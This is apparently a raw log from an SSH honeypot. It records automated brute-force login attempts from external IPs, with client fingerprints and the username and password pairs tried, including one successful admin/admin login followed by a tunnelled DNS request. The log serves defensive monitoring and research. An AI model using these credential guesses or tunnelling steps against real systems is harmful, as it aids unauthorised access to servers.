{"eventid":"cowrie.session.connect","src_ip":"148.230.169.229","src_port":54186,"dst_ip":"10.17.0.5","dst_port":22,"session":"7f8b96a983a5","protocol":"ssh","message":"New connection: 148.230.169.229:54186 (10.17.0.5:22) [session: 7f8b96a983a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:38:20.893024Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:38:20.898200Z","src_ip":"148.230.169.229","session":"7f8b96a983a5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:38:20.966630Z","src_ip":"148.230.169.229","session":"7f8b96a983a5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin123456*","message":"login attempt [root/admin123456*] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:38:21.260936Z","src_ip":"148.230.169.229","session":"7f8b96a983a5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"203.90.110.186","src_port":42170,"dst_ip":"10.17.0.5","dst_port":22,"session":"5f9f99091f53","protocol":"ssh","message":"New connection: 203.90.110.186:42170 (10.17.0.5:22) [session: 5f9f99091f53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:38:21.906428Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:38:21.910990Z","src_ip":"203.90.110.186","session":"5f9f99091f53","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:38:22.132710Z","src_ip":"203.90.110.186","session":"5f9f99091f53","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:38:22.329025Z","src_ip":"148.230.169.229","session":"7f8b96a983a5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"adminer","password":"123456","message":"login attempt [adminer/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:38:23.050067Z","src_ip":"203.90.110.186","session":"5f9f99091f53","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:38:24.272767Z","src_ip":"203.90.110.186","session":"5f9f99091f53","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.98219299316406,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:38:24.987715Z","src_ip":"137.184.155.248","session":"d8c61ee83d6a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.4.240.226","src_port":50260,"dst_ip":"10.17.0.5","dst_port":22,"session":"063eef04943a","protocol":"ssh","message":"New connection: 186.4.240.226:50260 (10.17.0.5:22) [session: 063eef04943a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:38:30.932307Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:38:30.937597Z","src_ip":"186.4.240.226","session":"063eef04943a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:38:31.032004Z","src_ip":"186.4.240.226","session":"063eef04943a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Gu123456","message":"login attempt [root/Gu123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:38:31.500767Z","src_ip":"186.4.240.226","session":"063eef04943a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":62320,"dst_ip":"10.17.0.5","dst_port":22,"session":"c40718c01141","protocol":"ssh","message":"New connection: 87.251.64.176:62320 (10.17.0.5:22) [session: c40718c01141]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:38:31.780645Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:38:31.785294Z","src_ip":"87.251.64.176","session":"c40718c01141","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:38:31.882948Z","src_ip":"87.251.64.176","session":"c40718c01141","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:38:32.176214Z","src_ip":"87.251.64.176","session":"c40718c01141","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:38:32.275597Z","session":"c40718c01141","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:38:32.374531Z","src_ip":"87.251.64.176","session":"c40718c01141","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:38:32.473041Z","src_ip":"87.251.64.176","session":"c40718c01141","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:38:32.646998Z","src_ip":"186.4.240.226","session":"063eef04943a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"72.253.251.7","src_port":50318,"dst_ip":"159.203.135.109","dst_port":22,"session":"d1084265a495","protocol":"ssh","message":"New connection: 72.253.251.7:50318 (159.203.135.109:22) [session: d1084265a495]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:38:38.628221Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:38:38.632622Z","src_ip":"72.253.251.7","session":"d1084265a495","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:38:38.752199Z","src_ip":"72.253.251.7","session":"d1084265a495","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"45rtfgvb","message":"login attempt [root/45rtfgvb] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:38:39.257418Z","src_ip":"72.253.251.7","session":"d1084265a495","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:38:40.378522Z","src_ip":"72.253.251.7","session":"d1084265a495","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.24.211.95","src_port":17582,"dst_ip":"159.203.135.109","dst_port":22,"session":"be009e53c86a","protocol":"ssh","message":"New connection: 193.24.211.95:17582 (159.203.135.109:22) [session: be009e53c86a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:38:40.889700Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:38:40.901623Z","src_ip":"193.24.211.95","session":"be009e53c86a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:38:40.999233Z","src_ip":"193.24.211.95","session":"be009e53c86a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"password1234","message":"login attempt [root/password1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:38:41.421921Z","src_ip":"193.24.211.95","session":"be009e53c86a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:38:42.548843Z","src_ip":"193.24.211.95","session":"be009e53c86a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.86.180.10","src_port":33716,"dst_ip":"159.203.135.109","dst_port":22,"session":"9c840bd59a74","protocol":"ssh","message":"New connection: 103.86.180.10:33716 (159.203.135.109:22) [session: 9c840bd59a74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:38:47.356073Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:38:47.360869Z","src_ip":"103.86.180.10","session":"9c840bd59a74","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:38:47.558344Z","src_ip":"103.86.180.10","session":"9c840bd59a74","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1q2w3e4r","message":"login attempt [ubuntu/1q2w3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:38:48.380046Z","src_ip":"103.86.180.10","session":"9c840bd59a74","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:38:49.583820Z","src_ip":"103.86.180.10","session":"9c840bd59a74","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.86.34.139","src_port":47326,"dst_ip":"10.17.0.5","dst_port":22,"session":"524c1cffc526","protocol":"ssh","message":"New connection: 41.86.34.139:47326 (10.17.0.5:22) [session: 524c1cffc526]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:39:01.480284Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:39:01.485979Z","src_ip":"41.86.34.139","session":"524c1cffc526","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:39:01.694744Z","src_ip":"41.86.34.139","session":"524c1cffc526","protocol":"ssh"}
